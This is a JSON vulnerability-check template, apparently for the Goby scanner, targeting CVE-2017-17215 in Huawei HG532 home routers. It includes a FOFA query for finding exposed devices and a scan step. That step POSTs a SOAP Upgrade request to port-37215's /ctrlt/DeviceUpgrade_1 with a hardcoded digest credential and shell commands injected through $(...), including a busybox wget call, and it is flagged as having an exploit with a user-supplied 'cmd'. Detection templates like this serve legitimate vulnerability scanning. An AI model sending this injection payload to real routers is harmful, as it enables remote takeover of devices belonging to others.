{
  "Name": "Huawei HG532 CVE-2017-17215 Remote Code Execution Vulnerability",
  "Description": "Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.",
  "Product": "Huawei-HG532",
  "Homepage": "https://www.huawei.com",
  "DisclosureDate": "2018-03-20",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "body=\"File not found.\" && header=\"Content-Length: 16\"",
  "FofaQuery": "body=\"File not found.\" && header=\"Content-Length: 16\"",
  "Level": "3",
  "Impact": "Successful exploit could lead to the remote execution of arbitrary code.",
  "Recommendation": "Download patch from http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en",
  "References": [
    "http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en",
    "http://www.securityfocus.com/bid/102344",
    "https://nvd.nist.gov/vuln/detail/CVE-2017-17215",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "ls"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "follow_redirect": false,
        "method": "GET",
        "uri": "/upnpdev.xml"
      },
      "ResponseTest": {
        "checks": [
          {
            "operation": "contains",
            "type": "item",
            "value": "Huawei Home Gateway",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 127.0.0.1 -l /tmp/.f -r /1)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
            "Authorization":"Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
        },
        "method": "POST",
        "uri": "/ctrlt/DeviceUpgrade_1"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "WANPPPConnection",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "Linux UPnP/1.0 Huawei-ATP-IGD",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["iot", "rce"],
  "CVEIDs": [
    "CVE-2017-17215"
  ],
  "CVSSScore": "8.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["Huawei-HG532e"]
  }
}